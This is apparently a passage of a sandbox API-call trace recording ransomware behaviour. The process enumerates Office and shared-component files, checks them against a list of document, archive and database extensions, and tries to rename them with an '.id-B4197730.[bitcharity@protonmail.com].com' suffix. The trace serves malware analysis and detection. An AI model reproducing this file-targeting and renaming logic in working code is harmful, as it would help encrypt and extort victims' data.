lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.734] lstrlenW (lpString=".jpg") returned 4 [0243.734] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.734] lstrlenW (lpString=".doc") returned 4 [0243.734] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.734] lstrlenW (lpString=".docx") returned 5 [0243.734] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0243.734] lstrlenW (lpString=".pdf") returned 4 [0243.734] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.734] lstrlenW (lpString=".xls") returned 4 [0243.734] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.734] lstrlenW (lpString=".xlsx") returned 5 [0243.734] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0243.734] lstrlenW (lpString=".ppt") returned 4 [0243.734] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.734] lstrlenW (lpString=".zip") returned 4 [0243.735] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.735] lstrlenW (lpString=".rar") returned 4 [0243.735] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.735] lstrlenW (lpString=".bz2") returned 4 [0243.735] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.735] lstrlenW (lpString=".7z") returned 3 [0243.735] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.735] lstrlenW (lpString=".dbf") returned 4 [0243.735] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.735] lstrlenW (lpString=".1cd") returned 4 [0243.735] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0243.735] lstrlenW (lpString=".jpg") returned 4 [0243.735] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.735] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0243.735] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0243.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.757] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=247) returned 1 [0243.757] CloseHandle (hObject=0x112c) returned 1 [0243.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0243.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.758] lstrlenW (lpString=".doc") returned 4 [0243.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.758] lstrlenW (lpString=".docx") returned 5 [0243.758] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0243.758] lstrlenW (lpString=".pdf") returned 4 [0243.758] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.758] lstrlenW (lpString=".xls") returned 4 [0243.758] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.758] lstrlenW (lpString=".xlsx") returned 5 [0243.758] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0243.758] lstrlenW (lpString=".ppt") returned 4 [0243.758] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.758] lstrlenW (lpString=".zip") returned 4 [0243.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.758] lstrlenW (lpString=".rar") returned 4 [0243.758] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.758] lstrlenW (lpString=".bz2") returned 4 [0243.758] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.758] lstrlenW (lpString=".7z") returned 3 [0243.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.759] lstrlenW (lpString=".dbf") returned 4 [0243.759] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.759] lstrlenW (lpString=".1cd") returned 4 [0243.759] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.759] lstrlenW (lpString=".jpg") returned 4 [0243.759] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.759] lstrlenW (lpString=".doc") returned 4 [0243.759] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.759] lstrlenW (lpString=".docx") returned 5 [0243.759] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0243.759] lstrlenW (lpString=".pdf") returned 4 [0243.759] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.759] lstrlenW (lpString=".xls") returned 4 [0243.759] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.759] lstrlenW (lpString=".xlsx") returned 5 [0243.759] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0243.759] lstrlenW (lpString=".ppt") returned 4 [0243.759] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.759] lstrlenW (lpString=".zip") returned 4 [0243.759] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.759] lstrlenW (lpString=".rar") returned 4 [0243.759] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.760] lstrlenW (lpString=".bz2") returned 4 [0243.760] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.760] lstrlenW (lpString=".7z") returned 3 [0243.760] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.760] lstrlenW (lpString=".dbf") returned 4 [0243.760] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.760] lstrlenW (lpString=".1cd") returned 4 [0243.760] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0243.760] lstrlenW (lpString=".jpg") returned 4 [0243.760] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.760] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0243.760] lstrlenW (lpString="base_altgr.xml") returned 14 [0243.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.765] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=3524) returned 1 [0243.765] CloseHandle (hObject=0x112c) returned 1 [0243.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0243.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.765] lstrlenW (lpString=".doc") returned 4 [0243.765] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.765] lstrlenW (lpString=".docx") returned 5 [0243.765] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0243.765] lstrlenW (lpString=".pdf") returned 4 [0243.765] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.765] lstrlenW (lpString=".xls") returned 4 [0243.766] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.766] lstrlenW (lpString=".xlsx") returned 5 [0243.766] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0243.766] lstrlenW (lpString=".ppt") returned 4 [0243.766] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.766] lstrlenW (lpString=".zip") returned 4 [0243.766] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.766] lstrlenW (lpString=".rar") returned 4 [0243.766] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.766] lstrlenW (lpString=".bz2") returned 4 [0243.766] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.766] lstrlenW (lpString=".7z") returned 3 [0243.766] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.766] lstrlenW (lpString=".dbf") returned 4 [0243.766] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.766] lstrlenW (lpString=".1cd") returned 4 [0243.766] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.766] lstrlenW (lpString=".jpg") returned 4 [0243.766] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.766] lstrlenW (lpString=".doc") returned 4 [0243.767] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.767] lstrlenW (lpString=".docx") returned 5 [0243.767] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0243.767] lstrlenW (lpString=".pdf") returned 4 [0243.767] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.767] lstrlenW (lpString=".xls") returned 4 [0243.767] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.767] lstrlenW (lpString=".xlsx") returned 5 [0243.767] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0243.767] lstrlenW (lpString=".ppt") returned 4 [0243.767] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.767] lstrlenW (lpString=".zip") returned 4 [0243.767] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.767] lstrlenW (lpString=".rar") returned 4 [0243.767] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.767] lstrlenW (lpString=".bz2") returned 4 [0243.767] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.767] lstrlenW (lpString=".7z") returned 3 [0243.767] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.767] lstrlenW (lpString=".dbf") returned 4 [0243.767] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.767] lstrlenW (lpString=".1cd") returned 4 [0243.767] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0243.767] lstrlenW (lpString=".jpg") returned 4 [0243.768] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.768] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0243.768] lstrlenW (lpString="base_ca.xml") returned 11 [0243.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.768] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=3529) returned 1 [0243.768] CloseHandle (hObject=0x112c) returned 1 [0243.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0243.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.769] lstrlenW (lpString=".doc") returned 4 [0243.769] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.769] lstrlenW (lpString=".docx") returned 5 [0243.769] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0243.769] lstrlenW (lpString=".pdf") returned 4 [0243.769] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.769] lstrlenW (lpString=".xls") returned 4 [0243.769] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.769] lstrlenW (lpString=".xlsx") returned 5 [0243.769] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0243.769] lstrlenW (lpString=".ppt") returned 4 [0243.769] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.769] lstrlenW (lpString=".zip") returned 4 [0243.769] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.769] lstrlenW (lpString=".rar") returned 4 [0243.769] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.769] lstrlenW (lpString=".bz2") returned 4 [0243.769] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.769] lstrlenW (lpString=".7z") returned 3 [0243.770] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.770] lstrlenW (lpString=".dbf") returned 4 [0243.770] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.770] lstrlenW (lpString=".1cd") returned 4 [0243.770] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.770] lstrlenW (lpString=".jpg") returned 4 [0243.770] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.770] lstrlenW (lpString=".doc") returned 4 [0243.770] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.770] lstrlenW (lpString=".docx") returned 5 [0243.770] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0243.770] lstrlenW (lpString=".pdf") returned 4 [0243.770] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.770] lstrlenW (lpString=".xls") returned 4 [0243.770] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.770] lstrlenW (lpString=".xlsx") returned 5 [0243.770] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0243.770] lstrlenW (lpString=".ppt") returned 4 [0243.770] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.770] lstrlenW (lpString=".zip") returned 4 [0243.770] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.770] lstrlenW (lpString=".rar") returned 4 [0243.771] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.771] lstrlenW (lpString=".bz2") returned 4 [0243.771] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.771] lstrlenW (lpString=".7z") returned 3 [0243.771] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.771] lstrlenW (lpString=".dbf") returned 4 [0243.771] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.771] lstrlenW (lpString=".1cd") returned 4 [0243.771] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0243.771] lstrlenW (lpString=".jpg") returned 4 [0243.771] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.771] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0243.771] lstrlenW (lpString="base_heb.xml") returned 12 [0243.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.772] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=738) returned 1 [0243.772] CloseHandle (hObject=0x112c) returned 1 [0243.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0243.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0243.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0243.773] lstrlenW (lpString=".doc") returned 4 [0243.773] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.773] lstrlenW (lpString=".docx") returned 5 [0243.773] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0243.773] lstrlenW (lpString=".pdf") returned 4 [0243.773] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.773] lstrlenW (lpString=".xls") returned 4 [0243.773] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.773] lstrlenW (lpString=".xlsx") returned 5 [0243.773] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0243.773] lstrlenW (lpString=".ppt") returned 4 [0243.773] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0243.773] lstrlenW (lpString=".zip") returned 4 [0243.774] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.774] lstrlenW (lpString=".rar") returned 4 [0243.774] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.774] lstrlenW (lpString=".bz2") returned 4 [0243.774] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.774] lstrlenW (lpString=".7z") returned 3 [0243.774] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0243.795] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x3f57fe8, Size=0x2000) returned 0x3f57fe8 [0243.795] lstrcmpiW (lpString1=".dat", lpString2=".com") returned 1 [0243.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0243.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0244.305] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.305] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.306] CloseHandle (hObject=0x1178) returned 1 [0244.307] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.307] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 